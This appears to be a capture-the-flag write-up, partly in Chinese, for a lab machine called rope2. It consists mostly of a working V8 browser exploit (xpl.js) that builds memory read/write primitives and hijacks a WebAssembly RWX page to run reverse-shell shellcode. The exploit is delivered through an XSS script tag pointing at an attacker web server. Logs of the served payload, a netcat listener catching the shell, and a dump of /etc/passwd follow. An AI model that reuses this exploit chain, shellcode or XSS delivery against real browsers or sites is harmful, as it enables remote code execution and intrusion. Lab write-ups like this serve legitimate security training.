0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x0f, 0x05, 0x48, 0x97, 0x48,
0xb9, 0x02, 0x00, 0x10, 0x7e, 0x0a, 0x0a, 0x0e, 0x0c, 0x51, 0x48, 0x89, 0xe6, 0x6a, 0x10,
0x5a, 0x6a, 0x2a, 0x58, 0x0f, 0x05, 0x6a, 0x03, 0x5e, 0x48, 0xff, 0xce, 0x6a, 0x21, 0x58,
0x0f, 0x05, 0x75, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f,
0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
  • xpl.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
var float_arr = [1.1, 2.2, 3.3, 4.4, 5.5];
var obj = {"A":1.1};
var reg = [1, 2, 3, 4];


var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val, size) {

f64_buf[0] = val;

if(size == 32) {
return BigInt(u64_buf[0]);
} else if(size == 64) {
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}

}

function itof(val, size) {

if(size == 32) {
u64_buf[0] = Number(val & 0xffffffffn);
} else if(size == 64) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
}

return f64_buf[0];

}


var float_arr_map = ftoi(float_arr.GetLastElement(), 32)
var reg_arr_map = float_arr_map - 0xa0n;

console.log("[*] Float array map : 0x" + float_arr_map.toString(16));
console.log("[*] Regular array map : 0x" + reg_arr_map.toString(16));


function addrof(in_obj) {
float_arr.SetLastElement(itof(reg_arr_map, 32));
float_arr[0] = in_obj;
float_arr.SetLastElement(itof(float_arr_map, 32));
let addr = float_arr[0];
return ftoi(addr, 64)
}


function fakeobj(addr) {
float_arr[0] = itof(addr, 32);
float_arr.SetLastElement(itof(reg_arr_map, 32));
let fake = float_arr[0];
float_arr.SetLastElement(itof(float_arr_map, 32));
return fake;
}

var rw_helper = [itof(float_arr_map, 64), 1.1, 2.2, 3.3];
var rw_helper_addr = addrof(rw_helper) & 0xffffffffn;

console.log("[+] Controlled RW helper address: 0x" + rw_helper_addr.toString(16));

function arb_read(addr) {
let fake = fakeobj(rw_helper_addr - 0x20n);
rw_helper[1] = itof((0x8n << 32n) + addr - 0x8n, 64);
return ftoi(fake[0], 64);
}

function arb_write(addr, value) {
let fake = fakeobj(rw_helper_addr - 0x20n);
rw_helper[1] = itof((0x8n << 32n) + addr - 0x8n, 64);
fake[0] = itof(value, 64);
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,
130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,
128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,
128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,
0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,0,11]);
var wasm_module = new WebAssembly.Module(wasmCode);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;

var wasm_instance_addr = addrof(wasm_instance) & 0xffffffffn;
var rwx = arb_read(wasm_instance_addr + 0x68n & 0xffffffffn);

console.log("[+] Wasm instance address: 0x" + wasm_instance_addr.toString(16));

console.log("[*] RWX INSTANCE: 0x" + rwx.toString(16));


var arr_buf = new ArrayBuffer(0x100);
var dataview = new DataView(arr_buf);

var arr_buf_addr = addrof(arr_buf) & 0xffffffffn;;
var back_store_addr = arb_read(arr_buf_addr + 0x14n);

console.log("[+] ArrayBuffer address: 0x" + arr_buf_addr.toString(16));
console.log("[+] Back store pointer: 0x" + back_store_addr.toString(16));

arb_write(arr_buf_addr + 0x14n, rwx);

var shellcode = [
0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x0f, 0x05, 0x48, 0x97, 0x48,
0xb9, 0x02, 0x00, 0x10, 0x7e, 0x0a, 0x0a, 0x0e, 0x0c, 0x51, 0x48, 0x89, 0xe6, 0x6a, 0x10,
0x5a, 0x6a, 0x2a, 0x58, 0x0f, 0x05, 0x6a, 0x03, 0x5e, 0x48, 0xff, 0xce, 0x6a, 0x21, 0x58,
0x0f, 0x05, 0x75, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f,
0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
]; // shellcode for spawning a reverse shell

for (let i = 0; i < shellcode.length; i++) {
dataview.setUint8(i, shellcode[i], true);
}

console.log("[+] Spawning a shell...");
pwn();

现在,问题是,应该把这个漏洞利用在哪里,在任何端口上都没有运行chrome实例,但随后,端口8000,在这一点上,评论模板可能XSS漏洞,这是唯一的方法,似乎可行,所以exploit

1
<script src="http://10.10.14.12/xpl.js"></script>

插入到消息框中,netcat监听器等待连接,得到了chromeuser的shell

1
2
3
4
root@luci:~/v8build/rope2# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.196 - - [24/Jan/2021 00:50:08] "GET /xpl.js HTTP/1.1" 200 -
10.10.10.196 - - [24/Jan/2021 00:50:31] "GET /xpl.js HTTP/1.1" 200
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
root@luci:/home/user# nc -lvp 4222
Listening on [0.0.0.0] (family 0, port 4222)
Connection from [10.10.10.196] port 4222 [tcp/*] accepted (family 2, sport 59342)
id
uid=1001(chromeuser) gid=1001(chromeuser) groups=1001(chromeuser)
whoami
chromeuser
pwd
/home/chromeuser/web
ls
chrome.tar.gz
main.py
output
templates
uname -a
Linux rope2 5.0.0-38-generic #41-Ubuntu SMP Tue Dec 3 00:27:35 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:109::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
landscape:x:107:114::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:108:1::/var/cache/pollinate:/bin/false
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/sbin/nologin
r4j:x:1000:1000:r4j:/home/r4j:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
chromeuser:x:1001:1001:,,,:/home/chromeuser:/bin/bash
ftp:x:110:116:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
gitlab-www:x:997:997::/var/opt/gitlab/nginx:/bin/false
git:x:996:996::/var/opt/gitlab:/bin/sh
gitlab-redis:x:995:995::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:994:994::/var/opt/gitlab/postgresql:/bin/sh
gitlab-prometheus:x:993:993::/var/opt/gitlab/prometheus:/bin/sh

we finally success! amazing!